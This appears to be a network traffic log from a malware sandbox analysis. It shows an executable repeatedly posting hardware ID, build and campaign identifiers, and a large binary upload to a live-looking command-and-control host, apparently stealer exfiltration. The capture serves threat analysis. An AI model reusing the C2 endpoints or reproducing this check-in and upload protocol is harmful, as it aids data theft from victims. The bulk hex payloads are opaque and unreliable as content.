2024-12-23 06:28:27 UTC	1369	IN	Data Raw: 32 63 35 36 0d 0a 54 77 45 7a 37 75 4a 58 70 6b 71 68 54 7a 64 71 6d 4b 36 6f 39 6a 36 47 2f 4f 57 44 47 50 4f 58 4d 6f 44 6e 41 43 4c 30 6e 57 35 4c 46 2f 48 36 63 6d 4e 33 54 39 58 65 30 74 36 70 61 6b 30 44 58 76 49 70 78 46 64 39 51 57 4d 43 64 77 63 57 74 31 58 4a 43 72 34 48 51 69 72 6a 49 39 5a 50 73 42 68 69 4c 6b 6e 72 33 47 59 2b 45 73 32 67 70 76 33 47 45 77 61 79 45 4f 66 57 55 57 69 36 62 7a 46 6e 48 79 49 33 52 72 71 6c 72 68 59 4c 76 57 36 73 56 6a 39 79 79 62 53 53 57 65 4b 58 4e 35 4d 77 6b 62 43 32 72 58 39 61 56 47 4d 65 49 53 4d 57 62 74 44 4f 39 34 35 74 6a 79 37 6d 50 6e 4c 4f 4d 45 64 35 52 76 4b 43 38 46 54 53 73 37 51 38 62 69 37 57 38 6d 70 6a 6b 39 59 71 68 69 71 69 7a 75 32 4f 53 58 4a 65 38 30 6a 41 52 33 69 44 34 77 4e 32 41 Data Ascii: 2c56TwEz7uJXpkqhTzdqmK6o9j6G/OWDGPOXMoDnACL0nW5LF/H6cmN3T9Xe0t6pak0DXvIpxFd9QWMCdwcWt1XJCr4HQirjI9ZPsBhiLknr3GY+Es2gpv3GEwayEOfWUWi6bzFnHyI3RrqlrhYLvW6sVj9yybSSWeKXN5MwkbC2rX9aVGMeISMWbtDO945tjy7mPnLOMEd5RvKC8FTSs7Q8bi7W8mpjk9Yqhiqizu2OSXJe80jAR3iD4wN2A
2024-12-23 06:28:27 UTC	1369	IN	Data Raw: 76 66 39 70 30 41 33 73 43 73 31 50 63 52 36 67 41 62 58 6a 61 6e 5a 4c 61 68 36 7a 51 70 35 7a 43 41 77 4e 77 6b 4f 62 58 56 37 6e 72 4f 34 41 58 6e 67 43 54 6c 38 35 45 75 33 4b 61 53 2f 70 4e 41 69 75 58 7a 4c 52 58 69 69 47 56 45 76 66 67 34 6a 64 52 79 43 76 65 42 46 4d 4f 42 6b 61 69 43 78 47 66 4a 76 75 63 71 31 6d 54 72 76 65 70 77 53 5a 63 4a 76 59 69 39 6f 44 6d 49 32 56 73 4c 31 6f 31 63 69 35 77 49 45 56 65 52 4c 6f 43 37 35 6c 61 62 32 49 4c 35 6d 34 6e 51 69 6a 79 46 2b 61 43 5a 66 5a 58 73 45 33 37 50 34 65 47 48 6f 66 41 55 38 71 6c 54 68 59 4b 6d 74 71 64 6b 74 71 48 72 4e 42 78 43 43 4b 48 46 35 49 45 4d 70 46 45 66 42 2b 65 41 50 59 61 5a 38 59 69 43 6b 44 4b 55 70 71 63 44 36 68 58 6a 36 50 34 73 61 5a 5a 4e 68 61 53 38 6d 44 6e 31 6e Data Ascii: vf9p0A3sCs1PcR6gAbXjanZLah6zQp5zCAwNwkObXV7nrO4AXngCTl85Eu3KaS/pNAiuXzLRXiiGVEvfg4jdRyCveBFMOBkaiCxGfJvucq1mTrvepwSZcJvYi9oDmI2VsL1o1ci5wIEVeRLoC75lab2IL5m4nQijyF+aCZfZXsE37P4eGHofAU8qlThYKmtqdktqHrNBxCCKHF5IEMpFEfB+eAPYaZ8YiCkDKUpqcD6hXj6P4saZZNhaS8mDn1n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49703	104.21.66.86	443	6440	C:\Users\user\Desktop\s31ydU1MpQ.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 06:28:29 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=S0XVJK104JSM607O User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12832 Host: lev-tolstoi.com
2024-12-23 06:28:29 UTC	12832	OUT	Data Raw: 2d 2d 53 30 58 56 4a 4b 31 30 34 4a 53 4d 36 30 37 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 46 39 41 43 42 38 41 44 30 44 44 33 39 31 37 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 53 30 58 56 4a 4b 31 30 34 4a 53 4d 36 30 37 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 53 30 58 56 4a 4b 31 30 34 4a 53 4d 36 30 37 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 53 30 Data Ascii: --S0XVJK104JSM607OContent-Disposition: form-data; name="hwid"9F9ACB8AD0DD3917AC8923850305D13E--S0XVJK104JSM607OContent-Disposition: form-data; name="pid"2--S0XVJK104JSM607OContent-Disposition: form-data; name="lid"PsFKDg--pablo--S0
2024-12-23 06:28:30 UTC	1127	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 06:28:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=483obr3dj5supaug9a513jef0m; expires=Fri, 18 Apr 2025 00:15:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wgwJRk2z7c4P1zMJ4uGJCx%2BGcARmkxSNGBhWGiCjINjZqC9CIhTU8cJyvIYkmVaN72xN78kY1aoHkVMlB0zJG0bh37019mEgjgRUKu%2FO9sGykwceJjYlikZqG8vG%2FJvkiPc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f664ab4aebc42f2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1567&min_rtt=1557&rtt_var=604&sent=9&recv=17&lost=0&retrans=0&sent_bytes=2835&recv_bytes=13769&delivery_rate=1782661&cwnd=222&unsent_bytes=0&cid=e9ce5728874c6ec5&ts=1171&x=0"
2024-12-23 06:28:30 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-23 06:28:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49709	104.21.66.86	443	6440	C:\Users\user\Desktop\s31ydU1MpQ.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 06:28:31 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=TI11QG7SJ91AKH1KW5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15076 Host: lev-tolstoi.com
2024-12-23 06:28:31 UTC	15076	OUT	Data Raw: 2d 2d 54 49 31 31 51 47 37 53 4a 39 31 41 4b 48 31 4b 57 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 46 39 41 43 42 38 41 44 30 44 44 33 39 31 37 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 54 49 31 31 51 47 37 53 4a 39 31 41 4b 48 31 4b 57 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 54 49 31 31 51 47 37 53 4a 39 31 41 4b 48 31 4b 57 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f Data Ascii: --TI11QG7SJ91AKH1KW5Content-Disposition: form-data; name="hwid"9F9ACB8AD0DD3917AC8923850305D13E--TI11QG7SJ91AKH1KW5Content-Disposition: form-data; name="pid"2--TI11QG7SJ91AKH1KW5Content-Disposition: form-data; name="lid"PsFKDg--pablo
2024-12-23 06:28:32 UTC	1129	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 06:28:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9s60qntlqle6o8h2mhl9u6v3af; expires=Fri, 18 Apr 2025 00:15:11 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bxIkUBecOGHhWHOQqDgJ%2BqLoxwAv77EN5Ur9hF%2B4eQSSaXkpq%2FCpFK1L9bC3zAm2Gp1aXmHqgAip7mSaIA6onI2P7OoR50DUUJ1%2BGthDV8hRM2rTxUNl1VT19vMqJmwQAE4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f664ac47ed97ced-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1792&min_rtt=1785&rtt_var=684&sent=12&recv=18&lost=0&retrans=0&sent_bytes=2834&recv_bytes=16015&delivery_rate=1581798&cwnd=179&unsent_bytes=0&cid=b812d86ff84d2365&ts=863&x=0"
2024-12-23 06:28:32 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-23 06:28:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49715	104.21.66.86	443	6440	C:\Users\user\Desktop\s31ydU1MpQ.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 06:28:34 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=NERBL1ALI8S6T2VM9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20395 Host: lev-tolstoi.com
2024-12-23 06:28:34 UTC	15331	OUT	Data Raw: 2d 2d 4e 45 52 42 4c 31 41 4c 49 38 53 36 54 32 56 4d 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 46 39 41 43 42 38 41 44 30 44 44 33 39 31 37 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 4e 45 52 42 4c 31 41 4c 49 38 53 36 54 32 56 4d 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 4e 45 52 42 4c 31 41 4c 49 38 53 36 54 32 56 4d 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d Data Ascii: --NERBL1ALI8S6T2VM9Content-Disposition: form-data; name="hwid"9F9ACB8AD0DD3917AC8923850305D13E--NERBL1ALI8S6T2VM9Content-Disposition: form-data; name="pid"3--NERBL1ALI8S6T2VM9Content-Disposition: form-data; name="lid"PsFKDg--pablo-
2024-12-23 06:28:34 UTC	5064	OUT	Data Raw: 00 00 00 00 00 00 b6 b9 fe 28 58 da f6 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 36 d7 17 05 4b db 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e6 fa a3 60 69 db 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 db 5c 5f 14 2c 6d fb 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 9b eb 8f 82 a5 6d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 73 7d 51 b0 b4 ed a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 6d ae 2f f8 f5 58 32 78 29 1e bc Data Ascii: (X6K~`iO\_,mi`m?ls}Qm/X2x)
2024-12-23 06:28:35 UTC	1135	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 06:28:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=j1ablfspkr6dhp06o4n3ldoi2a; expires=Fri, 18 Apr 2025 00:15:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=U%2BL6ejLdRJvUBT1JUtVfg%2Bo%2BH0UyB1Hb8aC4biXpFCen%2Bbemp3yNRWQBNlX2zK4Az2cp9Z08i1Rx%2Fl0R4gyyBxjZV9fZU%2F7KVKwh72BzwEtUi8oPNyBnwCI6PaFD%2FDqy4l0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f664ad2ffca8c5d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1855&min_rtt=1820&rtt_var=707&sent=15&recv=25&lost=0&retrans=0&sent_bytes=2836&recv_bytes=21355&delivery_rate=1604395&cwnd=211&unsent_bytes=0&cid=1bf91da2ffb03b0d&ts=948&x=0"
2024-12-23 06:28:35 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-23 06:28:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49722	104.21.66.86	443	6440	C:\Users\user\Desktop\s31ydU1MpQ.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 06:28:36 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=0UA00PMMTMJ08TAX User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1223 Host: lev-tolstoi.com
2024-12-23 06:28:36 UTC	1223	OUT	Data Raw: 2d 2d 30 55 41 30 30 50 4d 4d 54 4d 4a 30 38 54 41 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 46 39 41 43 42 38 41 44 30 44 44 33 39 31 37 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 30 55 41 30 30 50 4d 4d 54 4d 4a 30 38 54 41 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 30 55 41 30 30 50 4d 4d 54 4d 4a 30 38 54 41 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 30 55 Data Ascii: --0UA00PMMTMJ08TAXContent-Disposition: form-data; name="hwid"9F9ACB8AD0DD3917AC8923850305D13E--0UA00PMMTMJ08TAXContent-Disposition: form-data; name="pid"1--0UA00PMMTMJ08TAXContent-Disposition: form-data; name="lid"PsFKDg--pablo--0U
2024-12-23 06:28:37 UTC	1132	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 06:28:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mr6jcn2n3kfjdko8rang9cfqn0; expires=Fri, 18 Apr 2025 00:15:16 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BlaniLsIHAG%2BlLLmSMCU34rqiPhoTGotqQ4WVleY713mTmzQ1805BHOFxtPyn%2FHLm4JE%2BJ4JyT%2FHfGhCifBETpBoDZLlk4aws7lkgtuh%2BlXlDz0HILHWKSaRi%2B95acDtkZ8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f664ae26f2ede96-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1472&min_rtt=1465&rtt_var=564&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2835&recv_bytes=2137&delivery_rate=1916010&cwnd=224&unsent_bytes=0&cid=61c7efb5606152b4&ts=790&x=0"
2024-12-23 06:28:37 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-23 06:28:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49730	104.21.66.86	443	6440	C:\Users\user\Desktop\s31ydU1MpQ.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 06:28:39 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=W8TZCONWVG75XA8I User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 558918 Host: lev-tolstoi.com
2024-12-23 06:28:39 UTC	15331	OUT	Data Raw: 2d 2d 57 38 54 5a 43 4f 4e 57 56 47 37 35 58 41 38 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 46 39 41 43 42 38 41 44 30 44 44 33 39 31 37 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 57 38 54 5a 43 4f 4e 57 56 47 37 35 58 41 38 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 57 38 54 5a 43 4f 4e 57 56 47 37 35 58 41 38 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 57 38 Data Ascii: --W8TZCONWVG75XA8IContent-Disposition: form-data; name="hwid"9F9ACB8AD0DD3917AC8923850305D13E--W8TZCONWVG75XA8IContent-Disposition: form-data; name="pid"1--W8TZCONWVG75XA8IContent-Disposition: form-data; name="lid"PsFKDg--pablo--W8
2024-12-23 06:28:39 UTC	15331	OUT	Data Raw: 8e 5c 19 71 92 94 19 87 68 8c 64 78 2c 93 59 7c 4d 0a 94 f0 f3 6e 00 cd e7 7c f4 c9 3f ef cc bf 79 62 f1 c0 2e df 0a f5 ae e3 1f 91 db 62 44 14 f5 3e 4c 04 52 46 d4 34 88 d0 44 aa 4d 37 66 8e 4c 19 50 a9 ef 51 6e 59 0a af 54 11 1e f8 24 3c ac 70 8d a1 b7 90 48 fb d2 2a d9 29 8b c8 f6 1f f5 c9 d8 07 c2 76 8f d1 8c 38 f4 1b 9b 55 e7 4f d4 80 3c ac a2 df cf a9 4a 4a 23 3c c2 df 19 08 df 6c 4d 0f 35 11 30 7a bf d5 d3 4a 38 81 91 51 21 b4 5c 01 eb 1e 39 1b f4 ed b2 98 b7 2d 20 cd e4 96 b9 d2 0d d1 ce 57 7f 5b 4c 6c 4a 96 f1 5e 67 29 09 14 7d bf f7 62 e5 96 73 09 8e c0 e7 a3 98 40 19 8a 39 a6 35 6b 1e 4e 72 ad f2 e3 1a a5 6e b9 d9 45 f0 61 fe 8e 65 ff 05 d6 8d 07 6e 0d c7 14 a9 10 f3 0a e7 ac 1d 18 6a d0 88 27 35 cf d5 89 8e 55 2a dd 11 19 ed 27 f8 ee 74 4a 9d Data Ascii: \qhdx,Y\|Mn\|?yb.bD>LRF4DM7fLPQnYT$<pH)v8UO<JJ#<lM50zJ8Q!\9- W[LlJ^g)}bs@95kNrnEaenj'5U'tJ
2024-12-23 06:28:39 UTC	15331	OUT	Data Raw: 5a 1a 12 02 f3 6a cf ba 2b 86 77 1b b9 db 85 fb cf a7 9b 04 ab 83 17 1d 89 13 17 5f 99 4e ff 82 aa bd f8 0f e9 11 c7 05 c0 9c a7 21 55 8f 4a 4d ed 58 34 85 b3 41 7b 39 e4 55 d9 d3 3a 5f 44 bc 27 d4 70 78 5f ee bc 91 3f d6 d8 0f 73 5b ea 7b 44 60 e8 51 c2 6e 84 d5 29 43 19 e5 5b b9 68 4b 45 86 ed 8e 3a 37 3e f1 15 6d df 36 f0 5e f9 f6 13 14 45 77 db 06 e9 53 58 f8 87 e2 c2 27 c9 f0 02 59 19 1a f1 f9 71 cb 85 37 4b 89 74 0b 01 a3 d2 33 a2 c2 2e 6d 39 83 9b c3 9f 1c b4 29 7e 0f e4 0d 73 44 21 9a 28 21 4e 32 72 72 8b 34 58 d2 3e 18 38 91 36 9f 70 6c 9e ce 19 58 f2 38 72 9d 57 af 5e cb bc 02 91 75 36 ba 8f 0d e6 78 6c 91 64 a0 b4 3c 8b da fe 0b 00 4c 18 fa c4 f8 6c 67 21 ec 67 2f 44 38 fc b4 b6 e7 88 d7 69 6d a0 51 3d f6 97 1e 28 e0 df ec 83 b6 ae 01 d6 94 db Data Ascii: Zj+w_N!UJMX4A{9U:_D'px_?s[{D`Qn)C[hKE:7>m6^EwSX'Yq7Kt3.m9)~sD!(!N2rr4X>86plX8rW^u6xld<Llg!g/D8imQ=(
2024-12-23 06:28:39 UTC	15331	OUT	Data Raw: bd ff cc e8 4b 2c 2b 22 e0 c8 08 14 ac 6d 64 e9 58 c7 c9 24 46 c1 59 5f 09 ff 55 93 52 66 1b 70 f9 c6 a1 6c c5 fd 01 99 0b 4c 32 cd 86 8a 88 7b aa ed 8f 06 a9 3c 47 ba 38 7e d5 bc c5 4b 34 90 4a 0e ca 1a 1c 47 3f 5d 4f 4a 8b e5 b2 39 94 e3 03 90 74 33 28 b3 9e 1a c8 37 7f 5f 8b e9 e6 1d 13 ae 13 ae 69 8b ec 3b c2 2b f9 72 39 7b 19 29 74 54 00 dc 6a 4d 8b 43 bc 5f 6e 6f 95 2d 7e 48 8e 9b 64 db 67 ce 2b bf b6 23 83 15 d0 67 7b a4 d3 ba ea 47 44 07 6a af dc 18 8f fe 88 71 e0 c2 d7 56 9c ee b4 72 48 8b 0a bd cd 27 4b eb 3b da ec 03 74 9f c5 b7 f3 b8 40 c4 b4 ae 5b 78 5b 1f 0c 7d e1 58 8d 59 7b 4f 8a 36 42 6c f6 53 4b 55 64 28 27 ab 97 d9 14 48 b5 cd bc 0f a5 bb 77 ef bc cc c7 fc 4f 33 9e ce 33 1b 7f 6e f7 3c 7e 4c a9 52 ff 39 56 34 fd de 83 33 15 7f a9 cd e8 Data Ascii: K,+"mdX$FY_URfplL2{<G8~K4JG?]OJ9t3(7_i;+r9{)tTjMC_no-~Hdg+#g{GDjqVrH'K;t@[x[}XY{O6BlSKUd('HwO33n<~LR9V43
2024-12-23 06:28:39 UTC	15331	OUT	Data Raw: 54 12 c8 5e 0b ad 46 57 63 78 65 8d 4f af a7 c7 0a 29 f7 3e 66 f0 6e f8 9f c4 69 ee 59 70 77 dd 3b d0 c6 19 51 f1 7f ad 9d ff 77 a8 15 03 c2 53 d1 1f 38 16 f2 2f 7d 52 a2 5d 33 61 ab 30 03 87 d9 e9 1c 31 90 5e 91 7f f8 c6 68 fe 61 d4 a2 2a 78 09 e0 c0 2c 62 4b 5d d8 32 a0 3c 42 b6 0b 85 da 16 d7 b7 b1 46 9f fa 60 14 01 8a e1 78 04 e7 60 97 23 93 54 60 39 cc 17 ae 77 4f e8 fd 46 91 a8 8c 13 23 11 6f 99 49 3b c1 4f b7 ec b4 6a 3b 44 2c 9e ad 8a 0c bd a2 74 4e 16 0a 92 53 67 4d 15 dd 87 e3 3d 48 3a ac 78 55 46 6e 51 5b 0d 4d 77 9c 40 67 ab fb 0f 36 fa 36 c3 50 e1 6e 18 27 c9 a4 f1 40 c2 2d 20 b7 d2 e4 c3 5a 7c a0 cc 8a c9 20 e4 a1 ee db 9e 77 69 e8 55 76 de 30 60 eb 20 ad 9c 9d 6b c3 a7 5f 8b b6 bd 8d c8 b7 70 42 dc 7c a9 4c 95 86 d2 e5 39 ab dd 2a 05 79 3f Data Ascii: T^FWcxeO)>fniYpw;QwS8/}R]3a01^hax,bK]2<BF`x`#T`9wOF#oI;Oj;D,tNSgM=H:xUFnQ[Mw@g66Pn'@- Z\| wiUv0` k_pB\|L9y?
2024-12-23 06:28:39 UTC	15331	OUT	Data Raw: 46 2c de e7 bc e8 c7 43 17 58 4e 4e 74 d2 0c db 99 f5 74 15 f8 7a 43 19 09 5b ef c6 93 5c bb f9 2d e9 39 e7 73 88 bc 24 3c 2a 60 3f 91 48 74 4a 33 31 c4 86 a6 08 ba c9 c4 7c bd b6 54 b7 ef 79 7f 18 82 c3 78 df 68 10 fc 80 a2 2d db f8 a0 1b 2c 9f 3e bd d0 19 3c 5c fc c1 91 29 67 1e a6 53 a8 a6 29 43 68 e3 c1 7b 76 d9 b6 f5 9f 20 cf 0a 5f b4 4d 7f 12 13 05 32 4e 9d fe 43 94 75 9c 07 04 59 4b 10 11 a9 41 be 1e ac e6 5c 19 22 50 8a 13 c1 ac 78 b8 b1 d3 c3 1a 9f 84 90 53 8b d9 b7 52 28 98 87 a8 0d 95 29 34 bd d8 6f c7 e3 55 6f 03 c5 94 a0 5e 88 af fb ea 2c eb cf 03 e9 c4 aa 5d dc 16 ba cd 77 d5 d2 b2 5c e2 c5 aa 85 5d a3 54 78 72 c2 ce c0 3f 82 bc d0 ce 90 d1 38 9f 3f d9 c6 85 bd 9c c6 4f f3 32 27 bf 3b 07 81 a3 ab 82 94 ea 1d dc ee f9 d5 f6 88 83 03 da 6a 3d Data Ascii: F,CXNNttzC[\-9s$<*`?HtJ31\|Tyxh-,><\)gS)Ch{v _M2NCuYKA\"PxSR()4oUo^,]w\]Txr?8?O2';j=
